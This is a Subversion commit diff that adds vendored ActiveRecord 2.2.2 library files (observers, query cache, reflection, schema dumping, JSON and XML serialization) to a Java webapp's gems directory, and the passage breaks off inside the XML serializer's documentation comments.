+          if observer.respond_to?(:to_sym) # Symbol or String
+            observer.to_s.camelize.constantize.instance
+          elsif observer.respond_to?(:instance)
+            observer.instance
+          else
+            raise ArgumentError, "#{observer} must be a lowercase, underscored class name (or an instance of the class itself) responding to the instance method. Example: Person.observers = :big_brother # calls BigBrother.instance"
+          end
+        end
+      end
+
+      protected
+        # Notify observers when the observed class is subclassed.
+        def inherited(subclass)
+          super
+          changed
+          notify_observers :observed_class_inherited, subclass
+        end
+    end
+  end
+
+  # Observer classes respond to lifecycle callbacks to implement trigger-like
+  # behavior outside the original class. This is a great way to reduce the
+  # clutter that normally comes when the model class is burdened with
+  # functionality that doesn't pertain to the core responsibility of the
+  # class. Example:
+  #
+  #   class CommentObserver < ActiveRecord::Observer
+  #     def after_save(comment)
+  #       Notifications.deliver_comment("admin at do.com", "New comment was posted", comment)
+  #     end
+  #   end
+  #
+  # This Observer sends an email when a Comment#save is finished.
+  #
+  #   class ContactObserver < ActiveRecord::Observer
+  #     def after_create(contact)
+  #       contact.logger.info('New contact added!')
+  #     end
+  #
+  #     def after_destroy(contact)
+  #       contact.logger.warn("Contact with an id of #{contact.id} was destroyed!")
+  #     end
+  #   end
+  #
+  # This Observer uses logger to log when specific callbacks are triggered.
+  #
+  # == Observing a class that can't be inferred
+  #
+  # Observers will by default be mapped to the class with which they share a name. So CommentObserver will
+  # be tied to observing Comment, ProductManagerObserver to ProductManager, and so on. If you want to name your observer
+  # differently than the class you're interested in observing, you can use the Observer.observe class method which takes
+  # either the concrete class (Product) or a symbol for that class (:product):
+  #
+  #   class AuditObserver < ActiveRecord::Observer
+  #     observe :account
+  #
+  #     def after_update(account)
+  #       AuditTrail.new(account, "UPDATED")
+  #     end
+  #   end
+  #
+  # If the audit observer needs to watch more than one kind of object, this can be specified with multiple arguments:
+  #
+  #   class AuditObserver < ActiveRecord::Observer
+  #     observe :account, :balance
+  #
+  #     def after_update(record)
+  #       AuditTrail.new(record, "UPDATED")
+  #     end
+  #   end
+  #
+  # The AuditObserver will now act on both updates to Account and Balance by treating them both as records.
+  #
+  # == Available callback methods
+  #
+  # The observer can implement callback methods for each of the methods described in the Callbacks module.
+  #
+  # == Storing Observers in Rails
+  #
+  # If you're using Active Record within Rails, observer classes are usually stored in app/models with the
+  # naming convention of app/models/audit_observer.rb.
+  #
+  # == Configuration
+  #
+  # In order to activate an observer, list it in the <tt>config.active_record.observers</tt> configuration setting in your
+  # <tt>config/environment.rb</tt> file.
+  #
+  #   config.active_record.observers = :comment_observer, :signup_observer
+  #
+  # Observers will not be invoked unless you define these in your application configuration.
+  #
+  # == Loading
+  #
+  # Observers register themselves in the model class they observe, since it is the class that
+  # notifies them of events when they occur. As a side-effect, when an observer is loaded its
+  # corresponding model class is loaded.
+  #
+  # Up to (and including) Rails 2.0.2 observers were instantiated between plugins and
+  # application initializers. Now observers are loaded after application initializers,
+  # so observed models can make use of extensions.
+  #
+  # If by any chance you are using observed models in the initialization you can still
+  # load their observers by calling <tt>ModelObserver.instance</tt> before. Observers are
+  # singletons and that call instantiates and registers them.
+  #
+  class Observer
+    include Singleton
+
+    class << self
+      # Attaches the observer to the supplied model classes.
+      def observe(*models)
+        models.flatten!
+        models.collect! { |model| model.is_a?(Symbol) ? model.to_s.camelize.constantize : model }
+        define_method(:observed_classes) { Set.new(models) }
+      end
+
+      # The class observed by default is inferred from the observer's class name:
+      #   assert_equal Person, PersonObserver.observed_class
+      def observed_class
+        if observed_class_name = name[/(.*)Observer/, 1]
+          observed_class_name.constantize
+        else
+          nil
+        end
+      end
+    end
+
+    # Start observing the declared classes and their subclasses.
+    def initialize
+      Set.new(observed_classes + observed_subclasses).each { |klass| add_observer! klass }
+    end
+
+    # Send observed_method(object) if the method exists.
+    def update(observed_method, object) #:nodoc:
+      send(observed_method, object) if respond_to?(observed_method)
+    end
+
+    # Special method sent by the observed class when it is inherited.
+    # Passes the new subclass.
+    def observed_class_inherited(subclass) #:nodoc:
+      self.class.observe(observed_classes + [subclass])
+      add_observer!(subclass)
+    end
+
+    protected
+      def observed_classes
+        Set.new([self.class.observed_class].compact.flatten)
+      end
+
+      def observed_subclasses
+        observed_classes.sum([]) { |klass| klass.send(:subclasses) }
+      end
+
+      def add_observer!(klass)
+        klass.add_observer(self)
+        if respond_to?(:after_find) && !klass.method_defined?(:after_find)
+          klass.class_eval 'def after_find() end'
+        end
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/query_cache.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/query_cache.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/query_cache.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+module ActiveRecord
+  module QueryCache
+    # Enable the query cache within the block if Active Record is configured.
+    def cache(&block)
+      if ActiveRecord::Base.configurations.blank?
+        yield
+      else
+        connection.cache(&block)
+      end
+    end
+
+    # Disable the query cache within the block if Active Record is configured.
+    def uncached(&block)
+      if ActiveRecord::Base.configurations.blank?
+        yield
+      else
+        connection.uncached(&block)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/reflection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/reflection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/reflection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,307 @@
+module ActiveRecord
+  module Reflection # :nodoc:
+    def self.included(base)
+      base.extend(ClassMethods)
+    end
+
+    # Reflection allows you to interrogate Active Record classes and objects about their associations and aggregations.
+    # This information can, for example, be used in a form builder that took an Active Record object and created input
+    # fields for all of the attributes depending on their type and displayed the associations to other objects.
+    #
+    # You can find the interface for the AggregateReflection and AssociationReflection classes in the abstract MacroReflection class.
+    module ClassMethods
+      def create_reflection(macro, name, options, active_record)
+        case macro
+          when :has_many, :belongs_to, :has_one, :has_and_belongs_to_many
+            klass = options[:through] ? ThroughReflection : AssociationReflection
+            reflection = klass.new(macro, name, options, active_record)
+          when :composed_of
+            reflection = AggregateReflection.new(macro, name, options, active_record)
+        end
+        write_inheritable_hash :reflections, name => reflection
+        reflection
+      end
+
+      # Returns a hash containing all AssociationReflection objects for the current class
+      # Example:
+      #
+      #   Invoice.reflections
+      #   Account.reflections
+      #
+      def reflections
+        read_inheritable_attribute(:reflections) || write_inheritable_attribute(:reflections, {})
+      end
+
+      # Returns an array of AggregateReflection objects for all the aggregations in the class.
+      def reflect_on_all_aggregations
+        reflections.values.select { |reflection| reflection.is_a?(AggregateReflection) }
+      end
+
+      # Returns the AggregateReflection object for the named +aggregation+ (use the symbol). Example:
+      #
+      #   Account.reflect_on_aggregation(:balance) # returns the balance AggregateReflection
+      #
+      def reflect_on_aggregation(aggregation)
+        reflections[aggregation].is_a?(AggregateReflection) ? reflections[aggregation] : nil
+      end
+
+      # Returns an array of AssociationReflection objects for all the associations in the class. If you only want to reflect on a
+      # certain association type, pass in the symbol (<tt>:has_many</tt>, <tt>:has_one</tt>, <tt>:belongs_to</tt>) for that as the first parameter.
+      # Example:
+      #
+      #   Account.reflect_on_all_associations             # returns an array of all associations
+      #   Account.reflect_on_all_associations(:has_many)  # returns an array of all has_many associations
+      #
+      def reflect_on_all_associations(macro = nil)
+        association_reflections = reflections.values.select { |reflection| reflection.is_a?(AssociationReflection) }
+        macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections
+      end
+
+      # Returns the AssociationReflection object for the named +association+ (use the symbol). Example:
+      #
+      #   Account.reflect_on_association(:owner) # returns the owner AssociationReflection
+      #   Invoice.reflect_on_association(:line_items).macro  # returns :has_many
+      #
+      def reflect_on_association(association)
+        reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil
+      end
+    end
+
+
+    # Abstract base class for AggregateReflection and AssociationReflection that describes the interface available for both of
+    # those classes. Objects of AggregateReflection and AssociationReflection are returned by the Reflection::ClassMethods.
+    class MacroReflection
+      attr_reader :active_record
+
+      def initialize(macro, name, options, active_record)
+        @macro, @name, @options, @active_record = macro, name, options, active_record
+      end
+
+      # Returns the name of the macro.  For example, <tt>composed_of :balance, :class_name => 'Money'</tt> will return
+      # <tt>:balance</tt> or for <tt>has_many :clients</tt> it will return <tt>:clients</tt>.
+      def name
+        @name
+      end
+
+      # Returns the macro type. For example, <tt>composed_of :balance, :class_name => 'Money'</tt> will return <tt>:composed_of</tt>
+      # or for <tt>has_many :clients</tt> will return <tt>:has_many</tt>.
+      def macro
+        @macro
+      end
+
+      # Returns the hash of options used for the macro.  For example, it would return <tt>{ :class_name => "Money" }</tt> for
+      # <tt>composed_of :balance, :class_name => 'Money'</tt> or +{}+ for <tt>has_many :clients</tt>.
+      def options
+        @options
+      end
+
+      # Returns the class for the macro.  For example, <tt>composed_of :balance, :class_name => 'Money'</tt> returns the Money
+      # class and <tt>has_many :clients</tt> returns the Client class.
+      def klass
+        @klass ||= class_name.constantize
+      end
+
+      # Returns the class name for the macro.  For example, <tt>composed_of :balance, :class_name => 'Money'</tt> returns <tt>'Money'</tt>
+      # and <tt>has_many :clients</tt> returns <tt>'Client'</tt>.
+      def class_name
+        @class_name ||= options[:class_name] || derive_class_name
+      end
+
+      # Returns +true+ if +self+ and +other_aggregation+ have the same +name+ attribute, +active_record+ attribute,
+      # and +other_aggregation+ has an options hash assigned to it.
+      def ==(other_aggregation)
+        other_aggregation.kind_of?(self.class) && name == other_aggregation.name && other_aggregation.options && active_record == other_aggregation.active_record
+      end
+
+      def sanitized_conditions #:nodoc:
+        @sanitized_conditions ||= klass.send(:sanitize_sql, options[:conditions]) if options[:conditions]
+      end
+
+      # Returns +true+ if +self+ is a +belongs_to+ reflection.
+      def belongs_to?
+        macro == :belongs_to
+      end
+
+      private
+        def derive_class_name
+          name.to_s.camelize
+        end
+    end
+
+
+    # Holds all the meta-data about an aggregation as it was specified in the Active Record class.
+    class AggregateReflection < MacroReflection #:nodoc:
+    end
+
+    # Holds all the meta-data about an association as it was specified in the Active Record class.
+    class AssociationReflection < MacroReflection #:nodoc:
+      # Returns the target association's class:
+      #
+      #   class Author < ActiveRecord::Base
+      #     has_many :books
+      #   end
+      #
+      #   Author.reflect_on_association(:books).klass
+      #   # => Book
+      #
+      # <b>Note:</b> do not call +klass.new+ or +klass.create+ to instantiate
+      # a new association object. Use +build_association+ or +create_association+
+      # instead. This allows plugins to hook into association object creation.
+      def klass
+        @klass ||= active_record.send(:compute_type, class_name)
+      end
+
+      # Returns a new, unsaved instance of the associated class. +options+ will
+      # be passed to the class's constructor.
+      def build_association(*options)
+        klass.new(*options)
+      end
+
+      # Creates a new instance of the associated class, and immediates saves it
+      # with ActiveRecord::Base#save. +options+ will be passed to the class's
+      # creation method. Returns the newly created object.
+      def create_association(*options)
+        klass.create(*options)
+      end
+
+      # Creates a new instance of the associated class, and immediates saves it
+      # with ActiveRecord::Base#save!. +options+ will be passed to the class's
+      # creation method. If the created record doesn't pass validations, then an
+      # exception will be raised.
+      #
+      # Returns the newly created object.
+      def create_association!(*options)
+        klass.create!(*options)
+      end
+
+      def table_name
+        @table_name ||= klass.table_name
+      end
+
+      def quoted_table_name
+        @quoted_table_name ||= klass.quoted_table_name
+      end
+
+      def primary_key_name
+        @primary_key_name ||= options[:foreign_key] || derive_primary_key_name
+      end
+
+      def association_foreign_key
+        @association_foreign_key ||= @options[:association_foreign_key] || class_name.foreign_key
+      end
+
+      def counter_cache_column
+        if options[:counter_cache] == true
+          "#{active_record.name.underscore.pluralize}_count"
+        elsif options[:counter_cache]
+          options[:counter_cache]
+        end
+      end
+
+      def check_validity!
+      end
+
+      def through_reflection
+        false
+      end
+
+      def through_reflection_primary_key_name
+      end
+
+      def source_reflection
+        nil
+      end
+
+      private
+        def derive_class_name
+          class_name = name.to_s.camelize
+          class_name = class_name.singularize if [ :has_many, :has_and_belongs_to_many ].include?(macro)
+          class_name
+        end
+
+        def derive_primary_key_name
+          if belongs_to?
+            "#{name}_id"
+          elsif options[:as]
+            "#{options[:as]}_id"
+          else
+            active_record.name.foreign_key
+          end
+        end
+    end
+
+    # Holds all the meta-data about a :through association as it was specified in the Active Record class.
+    class ThroughReflection < AssociationReflection #:nodoc:
+      # Gets the source of the through reflection.  It checks both a singularized and pluralized form for <tt>:belongs_to</tt> or <tt>:has_many</tt>.
+      # (The <tt>:tags</tt> association on Tagging below.)
+      #
+      #   class Post < ActiveRecord::Base
+      #     has_many :taggings
+      #     has_many :tags, :through => :taggings
+      #   end
+      #
+      def source_reflection
+        @source_reflection ||= source_reflection_names.collect { |name| through_reflection.klass.reflect_on_association(name) }.compact.first
+      end
+
+      # Returns the AssociationReflection object specified in the <tt>:through</tt> option
+      # of a HasManyThrough or HasOneThrough association. Example:
+      #
+      #   class Post < ActiveRecord::Base
+      #     has_many :taggings
+      #     has_many :tags, :through => :taggings
+      #   end
+      #
+      #   tags_reflection = Post.reflect_on_association(:tags)
+      #   taggings_reflection = tags_reflection.through_reflection
+      #
+      def through_reflection
+        @through_reflection ||= active_record.reflect_on_association(options[:through])
+      end
+
+      # Gets an array of possible <tt>:through</tt> source reflection names:
+      #
+      #   [:singularized, :pluralized]
+      #
+      def source_reflection_names
+        @source_reflection_names ||= (options[:source] ? [options[:source]] : [name.to_s.singularize, name]).collect { |n| n.to_sym }
+      end
+
+      def check_validity!
+        if through_reflection.nil?
+          raise HasManyThroughAssociationNotFoundError.new(active_record.name, self)
+        end
+
+        if source_reflection.nil?
+          raise HasManyThroughSourceAssociationNotFoundError.new(self)
+        end
+
+        if options[:source_type] && source_reflection.options[:polymorphic].nil?
+          raise HasManyThroughAssociationPointlessSourceTypeError.new(active_record.name, self, source_reflection)
+        end
+
+        if source_reflection.options[:polymorphic] && options[:source_type].nil?
+          raise HasManyThroughAssociationPolymorphicError.new(active_record.name, self, source_reflection)
+        end
+
+        unless [:belongs_to, :has_many].include?(source_reflection.macro) && source_reflection.options[:through].nil?
+          raise HasManyThroughSourceAssociationMacroError.new(self)
+        end
+      end
+
+      def through_reflection_primary_key
+        through_reflection.belongs_to? ? through_reflection.klass.primary_key : through_reflection.primary_key_name
+      end
+
+      def through_reflection_primary_key_name
+        through_reflection.primary_key_name if through_reflection.belongs_to?
+      end
+
+      private
+        def derive_class_name
+          # get the class_name of the belongs_to association of the through reflection
+          options[:source_type] || source_reflection.class_name
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/schema.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/schema.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/schema.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,51 @@
+module ActiveRecord
+  # Allows programmers to programmatically define a schema in a portable
+  # DSL. This means you can define tables, indexes, etc. without using SQL
+  # directly, so your applications can more easily support multiple
+  # databases.
+  #
+  # Usage:
+  #
+  #   ActiveRecord::Schema.define do
+  #     create_table :authors do |t|
+  #       t.string :name, :null => false
+  #     end
+  #
+  #     add_index :authors, :name, :unique
+  #
+  #     create_table :posts do |t|
+  #       t.integer :author_id, :null => false
+  #       t.string :subject
+  #       t.text :body
+  #       t.boolean :private, :default => false
+  #     end
+  #
+  #     add_index :posts, :author_id
+  #   end
+  #
+  # ActiveRecord::Schema is only supported by database adapters that also
+  # support migrations, the two features being very similar.
+  class Schema < Migration
+    private_class_method :new
+
+    # Eval the given block. All methods available to the current connection
+    # adapter are available within the block, so you can easily use the
+    # database definition DSL to build up your schema (+create_table+,
+    # +add_index+, etc.).
+    #
+    # The +info+ hash is optional, and if given is used to define metadata
+    # about the current schema (currently, only the schema's version):
+    #
+    #   ActiveRecord::Schema.define(:version => 20380119000001) do
+    #     ...
+    #   end
+    def self.define(info={}, &block)
+      instance_eval(&block)
+
+      unless info[:version].blank?
+        initialize_schema_migrations_table
+        assume_migrated_upto_version info[:version]
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/schema_dumper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/schema_dumper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/schema_dumper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,177 @@
+require 'stringio'
+require 'bigdecimal'
+
+module ActiveRecord
+  # This class is used to dump the database schema for some connection to some
+  # output format (i.e., ActiveRecord::Schema).
+  class SchemaDumper #:nodoc:
+    private_class_method :new
+    
+    # A list of tables which should not be dumped to the schema. 
+    # Acceptable values are strings as well as regexp.
+    # This setting is only used if ActiveRecord::Base.schema_format == :ruby
+    cattr_accessor :ignore_tables 
+    @@ignore_tables = []
+
+    def self.dump(connection=ActiveRecord::Base.connection, stream=STDOUT)
+      new(connection).dump(stream)
+      stream
+    end
+
+    def dump(stream)
+      header(stream)
+      tables(stream)
+      trailer(stream)
+      stream
+    end
+
+    private
+
+      def initialize(connection)
+        @connection = connection
+        @types = @connection.native_database_types
+        @version = Migrator::current_version rescue nil
+      end
+
+      def header(stream)
+        define_params = @version ? ":version => #{@version}" : ""
+
+        stream.puts <<HEADER
+# This file is auto-generated from the current state of the database. Instead of editing this file, 
+# please use the migrations feature of Active Record to incrementally modify your database, and
+# then regenerate this schema definition.
+#
+# Note that this schema.rb definition is the authoritative source for your database schema. If you need
+# to create the application database on another system, you should be using db:schema:load, not running
+# all the migrations from scratch. The latter is a flawed and unsustainable approach (the more migrations
+# you'll amass, the slower it'll run and the greater likelihood for issues).
+#
+# It's strongly recommended to check this file into your version control system.
+
+ActiveRecord::Schema.define(#{define_params}) do
+
+HEADER
+      end
+
+      def trailer(stream)
+        stream.puts "end"
+      end
+
+      def tables(stream)
+        @connection.tables.sort.each do |tbl|
+          next if ['schema_migrations', ignore_tables].flatten.any? do |ignored|
+            case ignored
+            when String; tbl == ignored
+            when Regexp; tbl =~ ignored
+            else
+              raise StandardError, 'ActiveRecord::SchemaDumper.ignore_tables accepts an array of String and / or Regexp values.'
+            end
+          end 
+          table(tbl, stream)
+        end
+      end
+
+      def table(table, stream)
+        columns = @connection.columns(table)
+        begin
+          tbl = StringIO.new
+
+          if @connection.respond_to?(:pk_and_sequence_for)
+            pk, pk_seq = @connection.pk_and_sequence_for(table)
+          end
+          pk ||= 'id'
+
+          tbl.print "  create_table #{table.inspect}"
+          if columns.detect { |c| c.name == pk }
+            if pk != 'id'
+              tbl.print %Q(, :primary_key => "#{pk}")
+            end
+          else
+            tbl.print ", :id => false"
+          end
+          tbl.print ", :force => true"
+          tbl.puts " do |t|"
+
+          column_specs = columns.map do |column|
+            raise StandardError, "Unknown type '#{column.sql_type}' for column '#{column.name}'" if @types[column.type].nil?
+            next if column.name == pk
+            spec = {}
+            spec[:name]      = column.name.inspect
+            spec[:type]      = column.type.to_s
+            spec[:limit]     = column.limit.inspect if column.limit != @types[column.type][:limit] && column.type != :decimal
+            spec[:precision] = column.precision.inspect if !column.precision.nil?
+            spec[:scale]     = column.scale.inspect if !column.scale.nil?
+            spec[:null]      = 'false' if !column.null
+            spec[:default]   = default_string(column.default) if column.has_default?
+            (spec.keys - [:name, :type]).each{ |k| spec[k].insert(0, "#{k.inspect} => ")}
+            spec
+          end.compact
+
+          # find all migration keys used in this table
+          keys = [:name, :limit, :precision, :scale, :default, :null] & column_specs.map(&:keys).flatten
+
+          # figure out the lengths for each column based on above keys
+          lengths = keys.map{ |key| column_specs.map{ |spec| spec[key] ? spec[key].length + 2 : 0 }.max }
+
+          # the string we're going to sprintf our values against, with standardized column widths
+          format_string = lengths.map{ |len| "%-#{len}s" }
+
+          # find the max length for the 'type' column, which is special
+          type_length = column_specs.map{ |column| column[:type].length }.max
+
+          # add column type definition to our format string
+          format_string.unshift "    t.%-#{type_length}s "
+
+          format_string *= ''
+
+          column_specs.each do |colspec|
+            values = keys.zip(lengths).map{ |key, len| colspec.key?(key) ? colspec[key] + ", " : " " * len }
+            values.unshift colspec[:type]
+            tbl.print((format_string % values).gsub(/,\s*$/, ''))
+            tbl.puts
+          end
+
+          tbl.puts "  end"
+          tbl.puts
+          
+          indexes(table, tbl)
+
+          tbl.rewind
+          stream.print tbl.read
+        rescue => e
+          stream.puts "# Could not dump table #{table.inspect} because of following #{e.class}"
+          stream.puts "#   #{e.message}"
+          stream.puts
+        end
+        
+        stream
+      end
+
+      def default_string(value)
+        case value
+        when BigDecimal
+          value.to_s
+        when Date, DateTime, Time
+          "'" + value.to_s(:db) + "'"
+        else
+          value.inspect
+        end
+      end
+      
+      def indexes(table, stream)
+        if (indexes = @connection.indexes(table)).any?
+          add_index_statements = indexes.map do |index|
+            statment_parts = [ ('add_index ' + index.table.inspect) ]
+            statment_parts << index.columns.inspect
+            statment_parts << (':name => ' + index.name.inspect)
+            statment_parts << ':unique => true' if index.unique
+
+            '  ' + statment_parts.join(', ')
+          end
+
+          stream.puts add_index_statements.sort.join("\n")
+          stream.puts
+        end
+      end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/serialization.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/serialization.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/serialization.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,98 @@
+module ActiveRecord #:nodoc:
+  module Serialization
+    class Serializer #:nodoc:
+      attr_reader :options
+
+      def initialize(record, options = {})
+        @record, @options = record, options.dup
+      end
+
+      # To replicate the behavior in ActiveRecord#attributes,
+      # <tt>:except</tt> takes precedence over <tt>:only</tt>.  If <tt>:only</tt> is not set
+      # for a N level model but is set for the N+1 level models,
+      # then because <tt>:except</tt> is set to a default value, the second
+      # level model can have both <tt>:except</tt> and <tt>:only</tt> set.  So if
+      # <tt>:only</tt> is set, always delete <tt>:except</tt>.
+      def serializable_attribute_names
+        attribute_names = @record.attribute_names
+
+        if options[:only]
+          options.delete(:except)
+          attribute_names = attribute_names & Array(options[:only]).collect { |n| n.to_s }
+        else
+          options[:except] = Array(options[:except]) | Array(@record.class.inheritance_column)
+          attribute_names = attribute_names - options[:except].collect { |n| n.to_s }
+        end
+
+        attribute_names
+      end
+
+      def serializable_method_names
+        Array(options[:methods]).inject([]) do |method_attributes, name|
+          method_attributes << name if @record.respond_to?(name.to_s)
+          method_attributes
+        end
+      end
+
+      def serializable_names
+        serializable_attribute_names + serializable_method_names
+      end
+
+      # Add associations specified via the <tt>:includes</tt> option.
+      # Expects a block that takes as arguments:
+      #   +association+ - name of the association
+      #   +records+     - the association record(s) to be serialized
+      #   +opts+        - options for the association records
+      def add_includes(&block)
+        if include_associations = options.delete(:include)
+          base_only_or_except = { :except => options[:except],
+                                  :only => options[:only] }
+
+          include_has_options = include_associations.is_a?(Hash)
+          associations = include_has_options ? include_associations.keys : Array(include_associations)
+
+          for association in associations
+            records = case @record.class.reflect_on_association(association).macro
+            when :has_many, :has_and_belongs_to_many
+              @record.send(association).to_a
+            when :has_one, :belongs_to
+              @record.send(association)
+            end
+
+            unless records.nil?
+              association_options = include_has_options ? include_associations[association] : base_only_or_except
+              opts = options.merge(association_options)
+              yield(association, records, opts)
+            end
+          end
+
+          options[:include] = include_associations
+        end
+      end
+
+      def serializable_record
+        returning(serializable_record = {}) do
+          serializable_names.each { |name| serializable_record[name] = @record.send(name) }
+          add_includes do |association, records, opts|
+            if records.is_a?(Enumerable)
+              serializable_record[association] = records.collect { |r| self.class.new(r, opts).serializable_record }
+            else
+              serializable_record[association] = self.class.new(records, opts).serializable_record
+            end
+          end
+        end
+      end
+
+      def serialize
+        # overwrite to implement
+      end
+
+      def to_s(&block)
+        serialize(&block)
+      end
+    end
+  end
+end
+
+require 'active_record/serializers/xml_serializer'
+require 'active_record/serializers/json_serializer'
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/serializers/json_serializer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/serializers/json_serializer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/serializers/json_serializer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,80 @@
+module ActiveRecord #:nodoc:
+  module Serialization
+    def self.included(base)
+      base.cattr_accessor :include_root_in_json, :instance_writer => false
+      base.extend ClassMethods
+    end
+
+    # Returns a JSON string representing the model. Some configuration is
+    # available through +options+.
+    #
+    # Without any +options+, the returned JSON string will include all
+    # the model's attributes. For example:
+    #
+    #   konata = User.find(1)
+    #   konata.to_json
+    #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
+    #         "created_at": "2006/08/01", "awesome": true}
+    #
+    # The <tt>:only</tt> and <tt>:except</tt> options can be used to limit the attributes
+    # included, and work similar to the +attributes+ method. For example:
+    #
+    #   konata.to_json(:only => [ :id, :name ])
+    #   # => {"id": 1, "name": "Konata Izumi"}
+    #
+    #   konata.to_json(:except => [ :id, :created_at, :age ])
+    #   # => {"name": "Konata Izumi", "awesome": true}
+    #
+    # To include any methods on the model, use <tt>:methods</tt>.
+    #
+    #   konata.to_json(:methods => :permalink)
+    #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
+    #         "created_at": "2006/08/01", "awesome": true,
+    #         "permalink": "1-konata-izumi"}
+    #
+    # To include associations, use <tt>:include</tt>.
+    #
+    #   konata.to_json(:include => :posts)
+    #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
+    #         "created_at": "2006/08/01", "awesome": true,
+    #         "posts": [{"id": 1, "author_id": 1, "title": "Welcome to the weblog"},
+    #                   {"id": 2, author_id: 1, "title": "So I was thinking"}]}
+    #
+    # 2nd level and higher order associations work as well:
+    #
+    #   konata.to_json(:include => { :posts => {
+    #                                  :include => { :comments => {
+    #                                                :only => :body } },
+    #                                  :only => :title } })
+    #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
+    #         "created_at": "2006/08/01", "awesome": true,
+    #         "posts": [{"comments": [{"body": "1st post!"}, {"body": "Second!"}],
+    #                    "title": "Welcome to the weblog"},
+    #                   {"comments": [{"body": "Don't think too hard"}],
+    #                    "title": "So I was thinking"}]}
+    def to_json(options = {})
+      if include_root_in_json
+        "{#{self.class.json_class_name}: #{JsonSerializer.new(self, options).to_s}}"
+      else
+        JsonSerializer.new(self, options).to_s
+      end
+    end
+
+    def from_json(json)
+      self.attributes = ActiveSupport::JSON.decode(json)
+      self
+    end
+
+    class JsonSerializer < ActiveRecord::Serialization::Serializer #:nodoc:
+      def serialize
+        serializable_record.to_json
+      end
+    end
+
+    module ClassMethods
+      def json_class_name
+        @json_class_name ||= name.demodulize.underscore.inspect
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/serializers/xml_serializer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/serializers/xml_serializer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/serializers/xml_serializer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,338 @@
+module ActiveRecord #:nodoc:
+  module Serialization
+    # Builds an XML document to represent the model. Some configuration is
+    # available through +options+. However more complicated cases should
+    # override ActiveRecord::Base#to_xml.
+    #
+    # By default the generated XML document will include the processing
+    # instruction and all the object's attributes. For example:
+    #
+    #   <?xml version="1.0" encoding="UTF-8"?>
+    #   <topic>
+    #     <title>The First Topic</title>
+    #     <author-name>David</author-name>
+    #     <id type="integer">1</id>
+    #     <approved type="boolean">false</approved>
+    #     <replies-count type="integer">0</replies-count>
+    #     <bonus-time type="datetime">2000-01-01T08:28:00+12:00</bonus-time>
+    #     <written-on type="datetime">2003-07-16T09:28:00+1200</written-on>
+    #     <content>Have a nice day</content>
+    #     <author-email-address>david at loudthinking.com</author-email-address>
+    #     <parent-id></parent-id>
+    #     <last-read type="date">2004-04-15</last-read>
+    #   </topic>
+    #
+    # This behavior can be controlled with <tt>:only</tt>, <tt>:except</tt>,
+    # <tt>:skip_instruct</tt>, <tt>:skip_types</tt> and <tt>:dasherize</tt>.
+    # The <tt>:only</tt> and <tt>:except</tt> options are the same as for the
+    # +attributes+ method. The default is to dasherize all column names, but you
+    # can disable this setting <tt>:dasherize</tt> to +false+. To not have the
+    # column type included in the XML output set <tt>:skip_types</tt> to +true+.
+    #
+    # For instance:
+    #
+    #   topic.to_xml(:skip_instruct => true, :except => [ :id, :bonus_time, :written_on, :replies_count ])
+    #
+    #   <topic>
+    #     <title>The First Topic</title>
+    #     <author-name>David</author-name>
+    #     <approved type="boolean">false</approved>
+    #     <content>Have a nice day</content>
+    #     <author-email-address>david at loudthinking.com</author-email-address>
+    #     <parent-id></parent-id>
+    #     <last-read type="date">2004-04-15</last-read>
+    #   </topic>
+    #
+    # To include first level associations use <tt>:include</tt>:
+    #
